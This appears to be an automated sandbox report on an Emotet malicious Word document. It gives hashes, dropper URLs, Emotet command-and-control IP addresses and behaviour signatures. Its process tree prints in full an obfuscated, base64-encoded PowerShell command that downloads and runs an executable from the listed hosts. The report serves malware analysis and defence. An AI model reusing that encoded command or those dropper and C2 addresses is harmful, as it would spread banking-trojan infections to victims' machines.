Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    63s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    18/09/2020, 04:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_e28bdcb88599994404e848c8dcbaeca4af4468e9e45941e1d16541054b9f0fe1_2020-09-18__040830._doc.doc
  • Size 176KB
  • Sample200918-bshey7rvza
  • SHA256 e28bdcb88599994404e848c8dcbaeca4af4468e9e45941e1d16541054b9f0fe1
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://haikouweixun.com/jn5/Rbp/
  • exe.dropper

    http://carolinacanullo.com/js/hllPT/
  • exe.dropper

    http://megasolucoesti.com/R9KDq0O8w/B3KqPpe/
  • exe.dropper

    http://www.insulution.org/wp-admin/swift/swift/y318LGM/
  • exe.dropper

    http://petafilm.com/calendar/6kOpwrt/
  • exe.dropper

    https://dev.contractdevs.co.uk/hbbny/Kv9/
  • exe.dropper

    http://blog.penmman.com/wp-content/uploads/1ECbn9K/

Extracted

Family

  • emotet

C2

  • 71.72.196.159:80

  • 134.209.36.254:8080

  • 120.138.30.150:8080

  • 94.23.216.33:80

  • 157.245.99.39:8080

  • 137.59.187.107:8080

  • 94.23.237.171:443

  • 61.19.246.238:443

  • 156.155.166.221:80

  • 50.35.17.13:80

  • 153.137.36.142:80

  • 91.211.88.52:7080

  • 209.141.54.221:8080

  • 185.94.252.104:443

  • 174.45.13.118:80

  • 87.106.136.232:8080

  • 62.75.141.82:80

  • 213.196.135.145:80

  • 188.219.31.12:80

  • 82.80.155.43:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e28bdcb88599994404e848c8dcbaeca4af4468e9e45941e1d16541054b9f0fe1_2020-09-18__040830._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1620
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARgAxADMAQwBcAGoAUQA4AE0AXwA0ADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAQwB1AGAAUgBpAHQAWQBQAFIAbwBUAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACkAKwAoACcALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABLADcAcAA3ADIAcAB6ACAAPQAgACgAJwBSACcAKwAnAHUAJwArACgAJwA2AG8AagByADEAaQAnACsAJwByACcAKQApADsAJABCAGQAbABqAHEAdwBiAD0AKAAoACcASgBwACcAKwAnAF8AJwApACsAKAAnADQAJwArACcAdQBrAHIAJwApACkAOwAkAFoAdABtAHEAdQBpAHcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAUwBvACcAKwAnADUAJwArACgAJwBaACcAKwAnADEAaABmADEAJwArACcAMwAnACsAJwBjAFMAbwA1ACcAKwAnAEoAcQAnACsAJwA4AG0AXwA0ADUAUwAnACkAKwAnAG8ANQAnACkALgAiAHIAYABlAHAAbABgAEEAQwBlACIAKAAoACcAUwAnACsAJwBvADUAJwApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEsANwBwADcAMgBwAHoAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKAGEAcgA1AGcAdABwAD0AKAAoACcAUgBwADkAJwArACcAcQAyACcAKwAnAGMAJwApACsAJwB3ACcAKQA7ACQATABmADMAcABwAHcAZgA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAYgBDAEwASQBlAE4AVAA7ACQASwBvAGUAMQBlADUAMgA9ACgAKAAnAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBhACcAKwAnAGkAawBvAHUAJwApACsAKAAnAHcAZQBpAHgAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwAuAGMAJwArACcAbwBtAC8AagAnACkAKwAoACcAbgAnACsAJwA1AC8AJwApACsAJwBSACcAKwAoACcAYgBwACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYwBhAHIAJwArACcAbwBsAGkAJwApACsAJwBuACcAKwAoACcAYQBjACcAKwAnAGEAJwArACcAbgB1AGwAJwApACsAKAAnAGwAbwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGoAJwArACcAcwAvAGgAJwArACcAbABsAFAAJwArACcAVAAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AbQAnACkAKwAnAGUAJwArACcAZwAnACsAKAAnAGEAJwArACcAcwBvACcAKwAnAGwAdQBjAG8AZQBzACcAKQArACcAdAAnACsAKAAnAGkALgBjAG8AbQAvAFIAJwArACcAOQBLACcAKQArACgAJwBEAHEAMABPADgAdwAnACsAJwAvAEIAJwArACcAMwAnACkAKwAoACcASwAnACsAJwBxAFAAcABlAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAKAAnAGkAJwArACcAbgBzAHUAbAAnACkAKwAnAHUAJwArACcAdABpACcAKwAoACcAbwAnACsAJwBuAC4AbwByAGcAJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4AJwArACcALwBzACcAKwAoACcAdwAnACsAJwBpAGYAJwApACsAKAAnAHQALwAnACsAJwBzAHcAaQBmAHQAJwApACsAJwAvACcAKwAoACcAeQAzADEAJwArACcAOABMACcAKQArACgAJwBHACcAKwAnAE0ALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHAAZQB0ACcAKwAnAGEAJwApACsAJwBmACcAKwAoACcAaQAnACsAJwBsAG0ALgAnACkAKwAnAGMAJwArACgAJwBvAG0ALwBjAGEAbABlAG4AZABhACcAKwAnAHIALwAnACsAJwA2ACcAKQArACcAawAnACsAKAAnAE8AcAB3AHIAdAAvACcAKwAnACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAnAGQAJwArACcAZQAnACsAKAAnAHYALgBjAG8AbgB0AHIAJwArACcAYQBjAHQAZAAnACsAJwBlAHYAcwAuACcAKwAnAGMAbwAnACkAKwAnAC4AdQAnACsAKAAnAGsALwAnACsAJwBoACcAKQArACcAYgAnACsAKAAnAGIAbgB5AC8AJwArACcASwAnACsAJwB2ADkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAJwBvACcAKwAnAGcALgAnACsAKAAnAHAAJwArACcAZQBuAG0AbQAnACsAJwBhAG4ALgBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHUAJwApACsAKAAnAHAAJwArACcAbABvACcAKQArACgAJwBhAGQAcwAvADEARQBDACcAKwAnAGIAbgA5ACcAKwAnAEsAJwApACsAJwAvACcAKQAuACIAcwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHMAdwBmADUAcwBqAD0AKAAoACcARgBfAHMAdwAnACsAJwA1ACcAKQArACcANwBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAbgBvADUAZQBxAHcAIABpAG4AIAAkAEsAbwBlADEAZQA1ADIAKQB7AHQAcgB5AHsAJABMAGYAMwBwAHAAdwBmAC4AIgBEAG8AYAB3AG4ATABgAG8AYQBEAGYAaQBgAEwAZQAiACgAJABGAG4AbwA1AGUAcQB3ACwAIAAkAFoAdABtAHEAdQBpAHcAKQA7ACQAWABnAGQAegAyAHgAdgA9ACgAKAAnAFIAaAB2AGEAJwArACcAegB3ACcAKQArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgB0AG0AcQB1AGkAdwApAC4AIgBsAGUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIANQA4ADgAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABaAHQAbQBxAHUAaQB3ACkAOwAkAFUAbwBjAHkAbABpADYAPQAoACcAVQB4ACcAKwAoACcAaABhADUAJwArACcAawA1ACcAKQApADsAYgByAGUAYQBrADsAJABKAHQAdgAwADgAcQAzAD0AKAAnAEIAJwArACgAJwByAHcAJwArACcAOQBpAGEAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgAzAGIAcwA5ADkAdwA9ACgAJwBHADkAJwArACcAMABhACcAKwAoACcAbwB0ACcAKwAnADUAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Users\Admin\Z1hf13c\Jq8m_45\Ru6ojr1ir.exe
      "C:\Users\Admin\Z1hf13c\Jq8m_45\Ru6ojr1ir.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\SysWOW64\shsetup\dot3cfg.exe
        "C:\Windows\SysWOW64\shsetup\dot3cfg.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1356

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1308-22-0x000007FEF6200000-0x000007FEF647A000-memory.dmp
        Download

        memory/1504-15-0x0000000000240000-0x0000000000252000-memory.dmp
        Download

        memory/1504-16-0x0000000000260000-0x0000000000270000-memory.dmp
        Download

        memory/1620-3-0x0000000007B60000-0x0000000007D60000-memory.dmp
        Download

        memory/1620-4-0x0000000007B60000-0x0000000007D60000-memory.dmp
        Download

        memory/1620-5-0x0000000007B60000-0x0000000007D60000-memory.dmp
        Download

        memory/1620-2-0x00000000096D0000-0x00000000096D4000-memory.dmp
        Download

        memory/1992-6-0x000007FEF14E0000-0x000007FEF1ECC000-memory.dmp
        Download

        memory/1992-12-0x000000001C3A0000-0x000000001C3A1000-memory.dmp
        Download

        memory/1992-11-0x000000001B6F0000-0x000000001B6F1000-memory.dmp
        Download

        memory/1992-10-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1992-9-0x00000000023C0000-0x00000000023C1000-memory.dmp
        Download

        memory/1992-8-0x000000001ABA0000-0x000000001ABA1000-memory.dmp
        Download

        memory/1992-7-0x0000000002260000-0x0000000002261000-memory.dmp
        Download